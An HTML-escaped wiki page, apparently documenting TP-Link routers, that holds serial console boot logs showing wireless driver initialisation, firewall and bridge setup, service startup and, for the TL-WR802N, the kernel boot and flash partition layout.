[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/ &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  rsl_initLanWlanObj cmd is &amp;quot;echo 0 &amp;gt; /proc/tplink/wl_mode&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;cp /etc/SingleSKU_5G_CE.dat /var/Wireless/RT2860AP/SingleSKU_5G.dat&amp;quot;&lt;br /&gt;
&lt;br /&gt;
WLAN-Start wlNetlinkTool&lt;br /&gt;
Waiting for Wireless Events from interfaces...&lt;br /&gt;
swWlanChkAhbErr: netlink to do&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;iwpriv rai0 set CountryRegionABand=1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
rai0      no private ioctls.&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 255&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_loadDriver cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/drivers/net/wireless/MT7610_ap/MT7610_ap.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wscd: SSDP UDP PORT = 1900&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== pAd = c1002000, size = 1368440 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;-- RTMPAllocTxRxRingMemory, Status=0&lt;br /&gt;
&amp;lt;-- RTMPAllocAdapterBlock, Status=0&lt;br /&gt;
device_id =0x7650&lt;br /&gt;
Read eeprom data from flash into memory!&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007f8000 length 0x200, ret 0, retlen 0x200&lt;br /&gt;
==&amp;gt;MT76x0_WLAN_ChipOnOff(): OnOff:1, pAd-&amp;gt;WlanFunCtrl:0x0, Reg-WlanFunCtrl=0xff000002&lt;br /&gt;
MACVersion = 0x76502000&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;ifconfig rai0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
load fw spent 16ms&lt;br /&gt;
RX DESC a2078000 size = 4096&lt;br /&gt;
RX1 DESC a2079000 size = 4096&lt;br /&gt;
cfg_mode=14&lt;br /&gt;
cfg_mode=14&lt;br /&gt;
wmode_band_equal(): Band Not Equal!&lt;br /&gt;
1. Phy Mode = 49&lt;br /&gt;
2. Phy Mode = 49&lt;br /&gt;
ERROR!!! E2PROM: WRONG VERSION 0x2, should be 1&lt;br /&gt;
ext_pa_current_setting = 1&lt;br /&gt;
MT76x0_TssiTableAdjust: upper_bound = 0x7F decimal: 127&lt;br /&gt;
MT76x0_TssiTableAdjust: lower_bound = 0xFFFFFF80 decimal: -128&lt;br /&gt;
*** MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -15 -8 -3 * 0 * 2 12 21 127 127 127 127, offset=-10, tuning=1&lt;br /&gt;
MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -25 -18 -13 * -10 * -8 2 11 117 117 117 117, offset=-10, tuning=1&lt;br /&gt;
mp_temperature=0xfffffff6, step = +0&lt;br /&gt;
MT76x0_TssiTableAdjust: upper_bound = 0x7F decimal: 127&lt;br /&gt;
MT76x0_TssiTableAdjust: lower_bound = 0xFFFFFF80 decimal: -128&lt;br /&gt;
*** MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -18 -11 -4 * -10 * 2 21 127 127 127 127 127, offset=-10, tuning=1&lt;br /&gt;
MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -28 -21 -14 * -10 * -8 11 117 117 117 117 117, offset=-10, tuning=1&lt;br /&gt;
mp_temperature=0xfffffff6, step = +0&lt;br /&gt;
3. Phy Mode = 49&lt;br /&gt;
AntCfgInit: primary/secondary ant 0/1&lt;br /&gt;
ChipStructAssign(): RALINK6590 hook !&lt;br /&gt;
bAutoTxAgcG = 1&lt;br /&gt;
MCS Set = ff 00 00 00 01&lt;br /&gt;
MT76x0_ChipBBPAdjust():rf_bw=2, ext_ch=1, PrimCh=36, HT-CentCh=38, VHT-CentCh=42&lt;br /&gt;
APStartUp(): AP Set CentralFreq at 42(Prim=36, HT-CentCh=38, VHT-CentCh=42, BBP_BW=2)&lt;br /&gt;
@@@ ed_monitor_init : ===&amp;gt;&lt;br /&gt;
@@@ ed_monitor_init : &amp;lt;===&lt;br /&gt;
Main bssid = 98:da:c4:6e:00:fb&lt;br /&gt;
&amp;lt;==== rt28xx_init, Status=0&lt;br /&gt;
0x1300 = 00064300&lt;br /&gt;
RTMPDrvOpen(1):Check if PDMA is idle!&lt;br /&gt;
RTMPDrvOpen(2):Check if PDMA is idle!&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;echo 1 &amp;gt; /proc/tplink/led_wlan_5G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setStaNum cmd is &amp;quot;iwpriv rai0 set MaxStaNum=32&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  device rai0 entered promiscuous mode&lt;br /&gt;
oal_br_addIntfInbr0: port 8(rai0) entering forwarding state&lt;br /&gt;
toBridge cmd is br0: port 8(rai0) entering forwarding state&lt;br /&gt;
&amp;quot;brctl addif br0 rai0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridge cmddevice apclii0 entered promiscuous mode&lt;br /&gt;
 is &amp;quot;brctl addif br0 apclii0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridevice rai1 entered promiscuous mode&lt;br /&gt;
dge cmd is &amp;quot;brctl addif br0 rai1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wlNetlinkTool isspiflash_ioctl_read, Read from 0x007f8000 length 0x2, ret 0, retlen 0x2&lt;br /&gt;
 already there.&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;killall -q wscd_5G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/ &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  rsl_initLanWlanObj cmd is &amp;quot;echo 0 &amp;gt; /proc/tplink/wl_mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wscd: SSDP UDP PORT = 1900&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 777 send 2030 error&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 777 send 2004 error&lt;br /&gt;
[ util_execSystem ] 139:  oal_startDhcps cmd is &amp;quot;dhcpd /var/tmp/dconf/udhcpd.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_lan6_startDhcp6s cmd is &amp;quot;dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run/dhcp6s_br0.pid br0 &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_lan6_startRadvd cmd is &amp;quot;radvd -C /var/tmp/dconf/radvd_br0.conf -p /var/run/radvd_br0.pid &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_delIntfFromBridge cmd is &amp;quot;brctl delif br0 eth0.2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
mldProxy# file: src/mld_ifinfo.c;line: 102; error = No such file or directory&lt;br /&gt;
mldProxy# Err: get LLA failed&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
brctl: bridge br0: Invalid argument&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 down&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 hw ether 98:DA:C4:6E:00:FD up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.2 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
radvd starting&lt;br /&gt;
[Jan 01 00:00:09] radvd: no linklocal address configured for br0&lt;br /&gt;
[Jan 01 00:00:09] radvd: error parsing or activating the config file: /var/tmp/dconf/radvd_br0.conf&lt;br /&gt;
[ rsl_initAppObj ] 787:  ==&amp;gt; start dhcp client&lt;br /&gt;
[ util_execSystem ] 139:  oal_rip_updateConfig cmd is &amp;quot;rm -f /var/tmp/dconf/zebra.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_rip_updateConfig cmd is &amp;quot;rm -f /var/tmp/dconf/ripd.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  removeAllRIPIpTableRule cmd is &amp;quot;iptables -L INPUT -v --line-numbers &amp;gt; /var/iptable&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ getPidFromPidFile ] 112:  Cann&#039;t open file: /var/run/zebra.pid.&lt;br /&gt;
[ util_execSystem ] 139:  controlRipProcess cmd is &amp;quot;zebra -d -f /var/tmp/dconf/zebra.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ getPidFromPidFile ] 112:  Cann&#039;t open file: /var/run/ripd.pid.&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_fwDdos cmd is &amp;quot;iptables -D FORWARD -j FIREWALL_DDOS&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: No chain/target/match by that name.&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_forbidLanPing cmd is &amp;quot;iptables -t filter -D INPUT -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
iptables -t filter -D FORWARD -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ddos_delPingRule cmd is &amp;quot;iptables -t filter -D INPUT ! -i br+ -p icmp --icmp-type echo-request -j ACCEPT&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_setDDoSRules cmd is &amp;quot;iptables -F FIREWALL_DDOS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  ddos_clearAll cmd is &amp;quot;rm -f /var/tmp/dosHost&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initFirewallObj cmd is &amp;quot;ebtables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -F&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -X&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P INPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P FORWARD DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P OUTPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FWRULE&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i lo -p ALL -j ACCEPT -m comment                                   --comment &amp;quot;loop back&amp;quot;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT  -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p tcp --dport 23 -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p tcp --dport 23 -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p icmpv6 --icmpv6-type echo-request -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -j FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -I FORWARD 1 -j SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -D FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ip6tables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -F FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -A FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ rsl_setStorageServiceObj ] 1024:  mountFlag is 3,We start usb server&lt;br /&gt;
[ util_execSystem ] 139:  oal_killDlnaMediaSeverProcess cmd is &amp;quot;killall ushare&amp;quot;&lt;br /&gt;
&lt;br /&gt;
killall: ushare: no process killed&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_sys_unsetTZ cmd is &amp;quot;echo &amp;quot;&amp;quot; &amp;gt; /etc/TZ&amp;quot;&lt;br /&gt;
&lt;br /&gt;
uShare (version 1.1a), a lightweight UPnP A/V and DLNA Media Server.&lt;br /&gt;
Benjamin Zores (C) 2005-2007, for GeeXboX Team.&lt;br /&gt;
See http://ushare.geexbox.org/ for updates.&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_setWanPort cmd is &amp;quot;iptables -t filter -D INPUT -p tcp --dport 21 -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_setWanPort cmd is &amp;quot;iptables -t nat -D PREROUTING -p tcp --dport 21 -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_startSamba cmd is &amp;quot;smbd -D&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 500 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_proto_gre.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_pptp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p tcp --dport 1723 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 1701 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_rtsp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_rtsp.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
nf_nat_rtsp v0.6.21 loading&lt;br /&gt;
gpiomode1 55144444.&lt;br /&gt;
gpiomode2 00000445.&lt;br /&gt;
enable switch phyport...&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
[cmd_dutInit():1059] init shm&lt;br /&gt;
[tddp_taskEntry():151] tddp task start&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
[ util_execSystem ] 139:  prepareDropbear cmd is &amp;quot;dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit rsa secret key to &#039;/var/tmp/dropbear/dropbear_rsa_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&lt;br /&gt;
[ util_execSystem ] 139:  prepareDropbear cmd is &amp;quot;dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit dss secret key to &#039;/var/tmp/dropbear/dropbear_dss_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&lt;br /&gt;
[ util_execSystem ] 139:  prepareDropbear cmd is &amp;quot;dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_host_key -d /var/tmp/dropbear/dropbear_dss_host_key -A /var/tmp/dropbear/dropbearpwd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
~ #&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: Wireless N - Nano Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
115200 (8N1)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Linux version 2.6.36 (jenkins@mobile-System) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Sun Apr 28 17:33:31 CST 2019&lt;br /&gt;
&lt;br /&gt;
 The CPU feqenuce set to 575 MHz&lt;br /&gt;
&lt;br /&gt;
 MIPS CPU sleep mode enabled.&lt;br /&gt;
CPU revision is: 00019655 (MIPS 24Kc)&lt;br /&gt;
Software DMA cache coherency&lt;br /&gt;
Determined physical RAM map:&lt;br /&gt;
 memory: 04000000 @ 00000000 (usable)&lt;br /&gt;
Initrd not found or empty - disabling initrd&lt;br /&gt;
Zone PFN ranges:&lt;br /&gt;
  Normal   0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Movable zone start PFN for each node&lt;br /&gt;
early_node_map[1] active PFN ranges&lt;br /&gt;
    0: 0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init&lt;br /&gt;
PID hash table entries: 256 (order: -2, 1024 bytes)&lt;br /&gt;
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Primary instruction cache 64kB, VIPT, , 4-waylinesize 32 bytes.&lt;br /&gt;
Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes&lt;br /&gt;
Writing ErrCtl register=0005e136&lt;br /&gt;
Readback ErrCtl register=0005e136&lt;br /&gt;
Memory: 61424k/65536k available (2414k kernel code, 4112k reserved, 636k data, 160k init, 0k highmem)&lt;br /&gt;
NR_IRQS:128&lt;br /&gt;
console [ttyS1] enabled&lt;br /&gt;
Calibrating delay loop... 386.04 BogoMIPS (lpj=772096)&lt;br /&gt;
pid_max: default: 4096 minimum: 301&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
Switching to clocksource Ralink Systick timer&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
squashfs: version 4.0 (2009/01/31) Phillip Lougher&lt;br /&gt;
fuse init (API version 7.15)&lt;br /&gt;
msgmni has been set to 119&lt;br /&gt;
io scheduler noop registered&lt;br /&gt;
io scheduler deadline registered (default)&lt;br /&gt;
Ralink gpio driver initialized&lt;br /&gt;
i2cdrv_major = 218&lt;br /&gt;
Serial: 8250/16550 driver, 2 ports, IRQ sharing enabled&lt;br /&gt;
serial8250: ttyS0 at MMIO 0x10000d00 (irq = 21) is a 16550A&lt;br /&gt;
serial8250: ttyS1 at MMIO 0x10000c00 (irq = 20) is a 16550A&lt;br /&gt;
brd: module loaded&lt;br /&gt;
flash manufacture id: ef, device id 40 17&lt;br /&gt;
W25Q64BV(ef 40170000) (8192 Kbytes)&lt;br /&gt;
mtd .name = raspi, .size = 0x00800000 (8M) .erasesize = 0x00010000 (64K) .numeraseregions = 0&lt;br /&gt;
Creating 7 MTD partitions on &amp;quot;raspi&amp;quot;:&lt;br /&gt;
0x000000000000-0x000000020000 : &amp;quot;boot&amp;quot;&lt;br /&gt;
0x000000020000-0x000000160000 : &amp;quot;kernel&amp;quot;&lt;br /&gt;
0x000000160000-0x0000007c0000 : &amp;quot;rootfs&amp;quot;&lt;br /&gt;
mtd: partition &amp;quot;rootfs&amp;quot; set to be root filesystem&lt;br /&gt;
0x0000007c0000-0x0000007d0000 : &amp;quot;config&amp;quot;&lt;br /&gt;
0x0000007d0000-0x0000007e0000 : &amp;quot;romfile&amp;quot;&lt;br /&gt;
0x0000007e0000-0x0000007f0000 : &amp;quot;rom&amp;quot;&lt;br /&gt;
0x0000007f0000-0x000000800000 : &amp;quot;radio&amp;quot;&lt;br /&gt;
Register flash device:flash0&lt;br /&gt;
PPP generic driver version 2.4.2&lt;br /&gt;
PPP MPPE Compression module registered&lt;br /&gt;
NET: Registered protocol family 24&lt;br /&gt;
Mirror/redirect action on&lt;br /&gt;
u32 classifier&lt;br /&gt;
    Actions configured&lt;br /&gt;
Netfilter messages via NETLINK v0.30.&lt;br /&gt;
nf_conntrack version 0.5.0 (959 buckets, 3836 max)&lt;br /&gt;
ip_tables: (C) 2000-2006 Netfilter Core Team, Type=Linux&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
ip6_tables: (C) 2000-2006 Netfilter Core Team&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
Ebtables v2.0 registered&lt;br /&gt;
802.1Q VLAN Support v1.8 Ben Greear &amp;lt;greearb@candelatech.com&amp;gt;&lt;br /&gt;
All bugs added by David S. Miller &amp;lt;davem@redhat.com&amp;gt;&lt;br /&gt;
VFS: Mounted root (squashfs filesystem) readonly on device 31:2.&lt;br /&gt;
Freeing unused kernel memory: 160k freed&lt;br /&gt;
starting pid 34, tty &#039;&#039;: &#039;/etc/init.d/rcS&#039;&lt;br /&gt;
cp: can&#039;t stat &#039;/etc/SingleSKU_FCC.dat&#039;: No such file or directory&lt;br /&gt;
rdm_major = 253&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) 74-ffffffda-ffffff88-fffffffc-ffffffc3-ffffffae&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000074da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0x88fcc3ae&lt;br /&gt;
Ralink APSoC Ethernet Driver Initilization. v3.1  256 rx/tx descriptors allocated, mtu = 1500!&lt;br /&gt;
NAPI enable, Tx Ring = 256, Rx Ring = 256&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) 74-ffffffda-ffffff88-fffffffc-ffffffc3-ffffffae&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000074da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0x88fcc3ae&lt;br /&gt;
PROC INIT OK!&lt;br /&gt;
add domain:tplinkwifi.net&lt;br /&gt;
add domain:tplinkap.net&lt;br /&gt;
add domain:tplinkrepeater.net&lt;br /&gt;
add domain:tplinklogin.net&lt;br /&gt;
tp_domain init ok&lt;br /&gt;
L2TP core driver, V2.0&lt;br /&gt;
PPPoL2TP kernel driver, V2.0&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
